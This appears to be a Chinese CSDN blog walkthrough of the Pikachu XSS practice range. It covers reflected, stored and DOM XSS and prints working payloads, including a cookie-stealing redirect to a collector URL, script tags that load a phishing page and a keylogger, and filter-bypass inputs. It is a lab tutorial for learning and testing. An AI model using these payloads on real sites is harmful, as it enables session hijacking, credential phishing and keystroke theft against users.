最全的XSS漏洞攻防

本文详细介绍了XSS跨站脚本攻击的概念、类型(反射型、存储型、DOM型)及其应用场景,包括钓鱼攻击、Cookie获取、键盘记录等。同时,探讨了XSS的防御方法和绕过技巧,并提供了实际操作示例。最后,讨论了如何通过防御策略防止XSS攻击,包括编码过滤和安全防御实践。
摘要由CSDN通过智能技术生成

1.XSS基本概念和原理说明

XSS跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意的特殊目的。是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。

2.反射型、储存型、DOM型实战

反射型:首先输入一些符号和数字,看代码中会不会全部输出。

 

 

如图可见全部输出了,所以他对特殊符号和数字不限制,所以我们可以输入一段代码:<script>alert(xss)</script>,使它在前端输出。(注意:输入代码时,会发现字符长度不够,我们可以在控制台中进行修改:按f12出现控制台)

 

 

存储型:它能够将恶意代码永久地存入数据库或者文件中,相当于将代码嵌入一个页面中,所有访问这个页面的用户都将成为受害者。也就是说,当我们在输入框中输入一串代码:<script>alert(927)</script>后,点提交,它可以出现弹框,但当我们再次点 存储型XSS时,它还会进行弹窗。

 

 

Dom型:Dom型XSS是通过函数获取到输入的值,然后拼接到代码中,如果包含恶意代码,则当js代码执行去改变页面元素的时候会导致恶意代码被执行,从而发生xss。此时,我们可以输入代码

#' οnclick="alert(927)">

 

 

3.XSS钓鱼

首先,我们找到fish.php将代码中的后台地址,改为自己的地址

 

然后,返回到pikachu靶场的存储型XSS,在输入框中输入

<script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script>  点击提交,他会出现弹窗,当用户输入自己的账户和密码进行登陆后,我们在后台当中就可以接收到用户的信息。

 

4.XSS平台搭建及Cookie获取

首先,我们需要将网址改成自己的网址,如图:

 

 

接着,我们要打开XSS后台,如图

 

 

然后,在反射型xss输入框中输入代码:<script>document.location='http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' +document.cookie;</script>

点击提交,他会弹到我们设置的pikachu靶场的主页,最后,我们在xss后台的cookie获取结果中可以查询到结果。

 

 

 

5.反射型XSS(POST)获取用户密码

Post型:我们需要搜127.0.0.1/pikachu/pkxss/xcookie/post.html  这个网址,它也会弹到pikachu靶场的主页面,但同时我们也会获取到用户的cookie值。

 

 

6.XSS获取键盘记录

首先,我们打开rk.js,并修改网址为自己的网址。

 

 

接着,我们在存储型XSS中输入

<script src="http://127.0.0.1/pikachu/pkxss/rkeypress/rk.js"></script>,点击提交,按f12打开控制台,点击网络,输入“123”,接着XSS后台当中就会开始显示。

 

 

7.XSS盲打

首先,我们先随便输入一些数字,他会出现下图所示:

 

然后,我们可以输入一些代码,如:<script>alert(927)</script>,然后点击提示,登入管理员网站:admin_login.php,他就会在管理员界面这边弹出我们所要弹出的东西。

 

8.XSS防御绕过

首先,我们随便输入一些,如:<script>  @ 66,然后我们查看源码,发现<script>被过滤了

 

 

所以,我们可以尝试一些办法,如大小写混合方式来绕过:<ScRiPt>alert(927)</ScRiPt>,发现它可以正常弹窗了,说明这种方法可行。

9.XSS绕过之htmlspecialchars()函数

我们可以输入一些数字和特殊符号进行查看:927’”<>&  ,我们可以看到只有   没有被过滤,所以我们可以输入代码进行验证:q οnclick=alert(927)

 

 

 

10.XSS安全防御

(1)我们找到XSS之href输出的源码 可以发现:输出在a标签的href属性里,可以用javascript协议来执行js,所以我们可以输入代码:javascript:alert(927)   不难发现,它又可以进行弹窗了

 

 

 

(2)首先我们输入11111进行检查,发现它在js的代码中出现了,当我们输入“tmac”时,发现显示了一张图片.

 

 

然后,我们将代码复制出来,对他进行分析:先对变量进行闭合,然后对前面的<script>进行闭合,然后在输入我们的代码: x' </script> <script>alert('xss')</script>,然后就会出现弹窗了。

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值